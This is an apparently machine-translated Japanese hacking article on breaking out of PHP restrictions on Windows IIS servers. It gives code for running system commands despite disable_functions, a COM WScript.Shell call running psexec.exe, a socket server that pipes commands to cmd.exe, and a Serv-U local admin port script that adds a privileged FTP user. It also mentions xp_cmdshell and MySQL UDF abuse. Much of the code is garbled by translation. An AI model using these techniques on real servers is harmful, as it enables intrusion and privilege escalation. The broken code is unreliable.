WIN2000 から WIN XP、そして WIN2003 に至るまで、MS IIS サーバーのセキュリティは明らかに向上しています。 WIN2000 では、通常の PHP SHELL でこれを破ることができます。WIN XP では、セーフ モードがオフの場合でも、system() などの関数を使用してシステム コマンドを実行することはできませんが、それでも com() 関数を使用して突破できます。 WIN 2003 の時点では、IIS と PHP がデフォルトでインストールされている場合でも、system() や com() を使用してそれらを無効にすることができない場合があります。現時点では、ブレークスルーを実現するには、いくつかの新しい方法を使用する必要があります。
1. disable_functions の画期的な機能
php-4.0.1 以降では、関数 disable_functions が php.ini に導入されています。この関数は非常に便利で、一部の機能を無効にするために使用できます。たとえば、disable_functions = passthru exec system Popen を php.ini に追加すると、これらの関数を実行するときに、「警告: system() はセキュリティ上の理由から無効になっており、プログラムは終了します」というプロンプトが表示されます。ただし、システムコマンドを実行する方法はありません。たとえば、PHP は多くの Perl 機能を使用するため、(`) を使用してコマンドを実行することもできます。サンプル コードは次のとおりです。
<?$output = `ls -al`;echo "<pre>$output</pre> ";?>
これは、safe_mode を on に設定することによってのみ回避できると言われていますが、最後に外部サーバーで使用したときは、やはり失敗しました。人はいつもそれほど幸運である
とは
限りません:) 2.dl( ) 関数
PHP の内部コマンド実行番号と '' が使用できない場合、このメソッドはセーフ モードでは無効になっているため、セーフ モード=オフでのみ使用できます。 dl() を使用すると、W32api 関数を直接呼び出すことができます。残念ながら、この拡張機能は PECL ライブラリに移動され、PHP 5.1.0 以前ではバインドされなくなりました。以下はマニュアルの例です。
// この拡張機能をロードします
dl("php_w32api.dll");
// kernel32.dll から GetTickCount 関数を登録します
w32api_register_function("kernel32.dll",
"GetTickCount",
"long"); ;
// User32.dll から MessageBoxA 関数を登録
w32api_register_function("User32.dll",
"MessageBoxA
",
"long");
// 起動時間情報を取得
$ticks = GetTickCount();
text
$secs = Floor ($ticks / 1000);
$mins = Floor($secs / 60);
$hours = Floor($mins / 60);
$str = sprintf("次の目的でコンピューターを使用しています。"
"rn %d ミリ秒、または rn %d 秒"。
"または rn %d 分、またはrn %d 時間 %d 分。"、
$ticks、
$secs、
$mins ,
$hours,
$ mins - ($hours*60));
// [OK] ボタンと起動時間のテキストのみを含むメッセージ ダイアログ ボックスを表示します
。
MessageBoxA(NULL,
$str,
"Uptime Information",
MB_OK)
?>
私はまだ理解していませんが、dl() と W32api については十分に理解しているので、読者の誤解を避けるためにランダムな例は示しません。
3. COM および .Net (Windows) 機能のアプリケーション
COM (コンポーネント オブジェクト モデル) は、Microsoft によって開発されたソフトウェア仕様であり、オブジェクト指向でコンパイルされたソフトウェア コンポーネントを開発するために使用されます。主に Windows プラットフォームで使用されます。
Windows バージョンの PHP には、この拡張モジュールのサポートがすでに組み込まれています。 COM 関数を使用するために追加の拡張ライブラリをロードする必要はありません。その使用法は C++ または Java でクラスを作成するための構文に似ており、COM クラス名がパラメーターとしてコンストラクターに渡されます。たとえば、PHP で「WScript.Shell」を使用してシステム コマンドを実行します。
$cmd="E:/cert/admin/psexec.exe"
if($com=new COM("WScript.Shell")) echo "yes " ;
if(!$cmd1=$com->exec($cmd))
{
echo "exec() はできません";
}
if(!$cmd2=$cmd1->stdout())
{
echo "stdout() はできません) ";
}
if(!$cmd3=$cmd2->readall())
{
echo "can not readall()";
}
echo $cmd3;
?>
図 1 は、psexec.exe を実行するために作成した例です。
このコードの意味は ASP とまったく同じです。 もちろん、このコンポーネントを Jet2 のオーバーフロー脆弱性と組み合わせて使用すると、PHP Saft でシェルを取得できる可能性があります。モード=オン。
// データベース接続を作成します
$
conn = new COM("ADODB.Connection")
$dsn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" . realpath("mydb.mdb");
conn->Open($dsn);
// SQL 文字列を介してデータを取得します
$rs = $conn->Execute("select client from web");
…..
?>
.Net 関数は PHP 5 でのみ実行できます。もちろん、「.Net ランタイム」のサポートが必要ですが、これはまだ完全に機能していない PHP の実験的なモジュールであるため、ここでは説明しません。
4. Java()関数の応用
この方法はセーフモード=オンの場合に適しています。
JAVA モジュール サーバーを使用するには、事前に Java 仮想マシンを
インストールし、PHP のインストールおよび構成時に with-java オプションをオンにする必要があります。コードは次のとおり
です
。
java.class.path = . php_java.jar
;JDK パス
;Java.home = f:jdk1.3.0
;仮想マシンへのパス
;Java.library=f:jdk1.3.0jrebinhostspotjvm .dll は
COM と同じです。Java (JavaBeans だけでなく) でクラスを作成するには、JAVA クラス名をパラメーターとしてコンストラクターに渡すだけです。以下はマニュアルの例です。
// この例は CGI として実行することのみを目的としています。
$
frame = new Java('java.awt.Frame', 'PHP');
awt.Button', 'Hello Java World!');
$frame->add('North', $button)
;
$
frame->pack();
;
$thread = new Java('java.lang.Thread');
$thread->sleep(10000);
$frame->dispose();
残念
ながら、JAVA をサポートできる PHP サーバーは多くありません。ここまで議論する必要はありません。
5.socket() 関数の応用
Socket は PHP の非常に強力なモジュールです。高レベルの抽象インターフェイス (fsockopen() および psockopen 関数によって開かれるソケット) を使用する場合、「php_sockets.dll」を開く必要はありません。の。ただし、完全なソケット関数ブロックを使用したい場合は、php.ini で次のように設定する必要があります:
; Windows 拡張機能
; MySQL と ODBC のサポートが組み込まれているため、DLL は必要ありません
。
; 次の文を削除します
; extension=php_sockets.dll は、
PHP のソケット関数ブロックを使用して、ポート転送/リダイレクト、パケット スニッフィング、ローカル オーバーフローなどの機能を実行できます。また、TCP/UDP サーバーの構築にも使用でき、同時にサーバーのセキュリティポリシーを突破する最良の方法でもあると思います。以下は、サーバー上でポートを開いて TCP サーバーを構築する例です。これを使用して、サーバーの cmd.exe をバンドルできます。
//サーバー上に TCP サービスを構築します。
//この例では、php_sockets.dll のサポートが必要です。
//実行後、「telnet 127.0.0.1 1020」を使用して接続できます
error_reporting(E_ALL);
/* スクリプトが接続を待機することを許可します */
set_time_limit(0)
/* 暗黙的な出力フラッシュをオンにします
。* 取得したもの */
ob_implicit_flush
();
// サーバー上の IP とポートをバインド
$address = '127.0.0.1';
$port = 1020;
if (($sock =ソケット_INET, SOCK_STREAM, SOL_TCP) ) < 0) {
echo "socket_create() が失敗しました: 理由: " .socket_strerror($sock) . "n"
}
if (($ret =ソケットバインド($sock, $address, $port)) < 0) {
echo "socket_bind() が失敗しました: 理由: " .socket_strerror($ret) . "n";
}
if (($ret =ソケット_listen($sock, 5)) < 0) {
echo "socket_listen()失敗しました: 理由: " .socket_strerror($ret) . "n";
}
do {
if (($msgsock =ソケット_accept($sock)) < 0) {
echo "socket_accept() 失敗しました: 理由: " .socket_strerror($ msgsock) . " n";
Break;
}
/* 指示を送信します。 */
$msg = "nPHP テスト サーバーへようこそ。n" .
"終了するには、「quit」と入力します。 shutdown'. n";
socket_write($msgsock, $msg, strlen($msg));
do {
if (false ===socket_recv($msgsock, $buf, 1024, 0)) {
echo "socket_read() が失敗しました: 理由: " .socket_strerror($ret) . "n";
ブレーク 2;
}
if (!$buf = トリム($buf)) {
続行;
}
if ($buf == 'quit') {
ブレーク;
}
if(
$buf == 'shutdown') {
socket_close($msgsock)
;
}
$talkback = "PHP: '$buf' と言いました。n";
));
echo "$bufn";
// 以下は受信した buf を処理します
/* 例:
$buf="cmd.exe /c netstat –an"
; r');
while ($read = fgets($pp, 2096))
echo
$
read
($pp);
}
while (true)
;
sock);
?>
実際、多くのホストは php_sockets.dll をロードしません。幸いなことに、ソケット モジュールのサポートを必要としない「fsockopen」関数を使用するだけで十分です。なぜなら、「fsockopen」がある限り、このマシン上の外部に公開されていないポートを自由に読み書きできるからです。権限昇格のために fsockopen を使用して serv-u のローカル管理ポート 43958 (注: このポートは外部から接続できません) を読み書きするのは典型的な例です。
$adminuser"LocalAdministrator";
.lk;0@P ”;
$adminport=" 43958";
$fp = fsockopen ("127.0.0.1", $adminport, $errno, $errstr, 8);
if (!$fp) {
echo "$errstr ( $errno)
n";
} else {
//$shellcode を記述できます
// fputs ($fp, $shellcode);
fputs ($fp, "USER ".$adminuser."rn");
sleep ( 1);
fputs ($fp, "PASS"
.$adminpass.");
fputs
(
$fp, "サイト メンテナンスrn");
$fp, "-SETUSERSETUPrn");
fputs ($fp, "-IP=".$addr."rn");
fputs ($fp, "-PortNo=".$ftpport.") rn");
fputs ($fp, "-User=".$user."rn");
fputs ($fp, "-Password=".$password."rn") ;
fputs ($fp, "-HomeDir=".$homedir."rn");
fputs
($fp, "-Disable=0) rn");
fputs ($fp, "-RelPaths=0rn");
fputs ($fp, "-NeedSecure=0rn");
fputs ($fp, "-HideHidden=0) rn");
fputs ($fp, "-AlwaysAllowLogin=0rn");
fputs ($fp, "-ChangePassword=1rn");
fputs ($fp, "-QuotaEnable= 0rn");
fputs ($fp, "-MaxUsersLoginPerIP=-1rn");
fputs ($fp, "-SpeedLimitUp=-1rn");
fputs ($fp, " -SpeedLimitDown=-1rn");
fputs ($fp, "-MaxNrUsers=-1rn");
fputs ($fp, "-IdleTimeOut=600rn");
fputs ($ fp, "-SessionTimeOut=-1rn");
fputs ($fp, "-Expire=0rn");
fputs
($fp, "-RatioUp=1rn");
($fp, "-RatioDown=1rn");
fputs ($fp, "-RatiosCredit=0rn
"
);fputs ($fp, "-QuotaMinimum=0rn");
fputs ($fp, "-Maintenance=Systemrn"
);
;
fputs ($fp, "-Ratios=Nonern");
fputs ($
fp, "Access=".$homedir."|RWAMELCDPrn");
n");
sleep (1);
while (!feof($fp)) {
echo fgets ($fp, 128);
}
}
?>
fsockopen を使用して、外部ネットワークまたは外部からアクセス可能な Web サイト。長いコードを含む完全な HTTPProxy (図 4) があります。興味のある読者はぜひご覧ください。
6. MYSQL/MSSQL インターフェイスは、
Windows 上の mysql/MSSQL が通常システム管理者として実行されるという点で Linux とは異なります。そのため、ローカル SQL データベースで root/sa パスワードを取得できる限り、それを直接使用できます。 . PHP はデータベースに接続してシステム コマンドを実行します。
MySQL でシステムコマンドを実行するには、ユーザー定義関数「MySQL UDF Dynamic Library」の脆弱性を悪用する必要があります。 MSSQL では、データベースに接続している限り、「master..xp_cmdshell」拡張実行コマンドを直接呼び出すことができます。権限はもちろんシステム権限です。
要約すると、システム、IIS、および PHP のバージョンが異なるため、上記の画期的なメソッドも、system() システム コマンド実行関数から使用できる多くの拡張機能を備えている可能性があります。システムセキュリティポリシーの制限を突破しましょう!
添付されているのは proxy.php コードです
error_reporting(E_ALL);
/*
// このプログラムはフリー ソフトウェアであり、
GNU General Public License の条件に基づいて
// 再配布できます。 Foundation; ライセンスのバージョン 2
// または (任意で) 以降のバージョンの
いずれか//
// このプログラムは、有用であることを期待して配布されます
が、 // いかなる保証も含まれません。
// 商品性または特定の目的への適合性については、 // GNU General Public License を参照してください
。
//
//
このプログラムと一緒に
GNU General Public License のコピーを受け取っている必要があります
。フリー ソフトウェアへ
// Foundation, Inc.、59 Temple Place - Suite 330、Boston、MA 02111-1307、USA
//---------- ----- -------------------------------------- --
// クラス : PHProxy
// 作成者 :ultimategamer00 (Abdullah A.)
// 最終更新日 : 2004 年 6 月 22 日 6:28 PM
*/
function __stripslashes($str)
{
return get_magic_quotes_gpc() ? : $str;
}
if (!function_exists('str_rot13'))
{
function str_rot13($str)
{
static $alpha = array('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM'); str
、$alpha[0]、 $alpha[1] );
}
}
クラス
PHProxy
{
var $allowed_hosts = array();
var
$url_segments
=> 1,
'
'remove_scripts' =>1
、'accept_cookies' =>
1
、
'show_images' =>1
、'show_referer' => 1)
;
response_body;
function PHProxy( $flags = 'previous')
{
$this->version = '0.2';
$this->script_url = 'http'
. (isset(
function set_request_headers()
{
$headers = " " . (isset( $this->url_segments ['クエリ']) ? "?" : '') . " HTTP/1.0rn";
$headers
.= "ユーザー-エージェント: Mozilla/ 4.0 (互換性; MSIE 6.0; Windows NT 5.1)rn";
$headers .= "受け入れ: text/xml、application/xml、application/xhtml+xml、text/html; 、テキスト/プレーン; q=0.8、ビデオ/x-mng、画像/png、画像/jpeg、画像/gif; q=0.1rn";
$headers .= "接続: closer n";
if ($this->flags['show_referer'] == 1)
{
$headers .= "リファラー: rn";
}
$cookies = $this->get_cookies();
$headers .= $cookies != '' ? "Cookie: $cookiesrn" : '';
if (
function set_request_headers()
{
$headers = " " . (isset($this->url_segments['query' ]) ? "? " : '') . " HTTP/1.0rn";
$headers .= "ホスト:rn"
; MSIE 6.0) Windows NT 5.1)rn";
$headers .= "受け入れます: text/xml、application/xml、application/xhtml+xml、text/html;q=0.9、text/plain;q=0.8、 video/x-mng 、image/png、image/jpeg、image/gif;q=0.2,*/*;q=0.1rn";
$headers .= "接続: closern";
if ($this-> flags['show_referer'] == 1)
{
$headers .= "リファラー: rn";
}
$
cookies = $this->get_cookies();
' ? "クッキー: $cookiesrn" : ''
;